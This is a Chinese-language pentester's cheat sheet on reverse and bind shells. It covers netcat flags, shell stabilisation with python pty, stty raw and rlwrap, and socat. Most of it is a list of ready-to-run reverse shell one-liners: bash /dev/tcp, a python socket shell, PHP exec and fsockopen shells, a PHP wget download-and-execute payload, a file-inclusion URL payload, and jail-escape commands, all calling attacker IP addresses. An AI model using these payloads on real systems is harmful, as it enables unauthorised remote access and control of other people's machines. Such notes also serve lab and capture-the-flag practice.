反弹shell
nc
-l 开启监听
-p 指定一个端口
-v 显示详细输出
-e 指定对应的应用程序
-n nc不要DNS反向查询IP的域名
-z 连接成功后立即关闭连接
# 对于shell 而言 简单来说就是 数据发送 数据接收
# 数据怎么整合(打包发送,分段发送) 发送的话通过什么协议(udp tcp icmp 等等加密)
# shell 分为两种类别
1、交互式shell (ssh 登录用户 密码 就是属于交互式) 渗透难 稳定 安全
2、非交互式的shell (natcat 就是非交互式 ) 渗透简单 不稳定 不安全
或者是
反弹shell
绑定shell
'''
在通常情况下交互式 shell通过ssh协议连接非常 稳定 安全
那么对于渗透而言 前期仅仅获取到非交互式的shell 默认情况下,这些shell非常不稳定。 它们是非交互式的,并且经常出现奇怪的格式错误。这是因为它们实际上是在终端内运行的进程,而不是它本身就是真正的终端。
(windows 另说)
'''
==================================================================================
# 如何稳固 nc的shell?
情况1 简单
# 服务端监听端口
root@stone:~# nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.0.0.9 53852
# 靶机反弹shell给服务端
┌──(root㉿kali)-[~]
└─# nc 10.0.0.160 443 -e /bin/bash
(其他发行版的linux 没有 -e的参数)
# 服务端获取到shell的时候 是什么用户环境变量的 操作不方便
root@stone:~# fg 1
nc -lvnp 4444
id
用户id=0(root) 组id=0(root) 组=0(root)
# 在这种情况下,在服务端输入了错误命令,那么报错信息会在 靶机上显示,隐秘性不够强
python -c 'import pty;pty.spawn("/bin/bash")' # 在服务端使用 python 构建一个稳定的shell,有对方shell的用户和系统提示信息
┌──(root㉿kali)-[~]
└─#
# 构建完python 通道后 ,错误的回显不会出现在靶机上了,不能自动补全命令 左右键 不能使用
ctrl + z # 把当前通道 调到后台
export TERM=xterm-256color 可以做个调色
stty raw -echo;fg # fg 前面有个空格 稳定化并重新进入shell
#(stty -echo 关闭输入的字符显示,比如 反弹的shell 中你输入了 xxx ,解释器不识别,那么就会报错显示在靶机上。
# 该raw设置意味着输入和输出不被处理,只是直通发送.处理可以是忽略某些字符,将字符转换为其他字符,允许中断信号等等.因此,例如,stty raw您无法按Ctrl-C结束进程.
允许左右键切换
==============================================================================================================================
情况二 中级
使用rlwrap nc -lnvp 4444
让我们在收到 shell 后立即访问历史记录、选项卡自动完成和箭头键
python -c 'import pty;pty.spawn("/bin/bash")' # 在服务端使用 python 构建一个稳定的shell,有对方shell的用户和系统提示信息 ctrl + z # 把当前通道 调到后台
stty raw -echo;fg # fg 前面有个空格 稳定化并重新进入shell
基于Socat的稳定化
使用初始 netcat shell 作为进入功能更全的 socat shell 的垫脚石。
请记住,这种技术仅限于 Linux 目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。
参考文档 https://www.freebuf.com/articles/web/328278.html
bash -i >& /dev/tcp/192.168.8.104/1234 0>&1
python reverse shell
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.128”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
php with bash
<?php exec(“/bin/bash -c ‘bash -i >& /dev/tcp/192.168.8.104/8888 0>&1′”); ?>
php reverse shell.txt, to host
<?php $sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);?>
to download and execute shell
<?php system(“wget 192.168.8.103/shell.txt -O /tmp/shell.php; php /tmp/shell.php”); ?>
nc -lvp 1234 < php_reverse_shell.php
cmd=nc 192.168.8.102 123 > reverse-shell.php
-w 1
-q 1
/browse.php?file=/tmp/shell2.php&cmd=nc+-w+1+10.10.14.4+5555+>+/tmp/shell5.php
Is it possible to break out of “jail” shell
python -c “import pty; pty.spawn(‘/bin/bash’);”
echo os.system(‘/bin/bash’)
/bin/sh -i
vi -> :sh or :!UNIX_command
awk ‘BEGIN{system(“/bin/bash”)}’
socat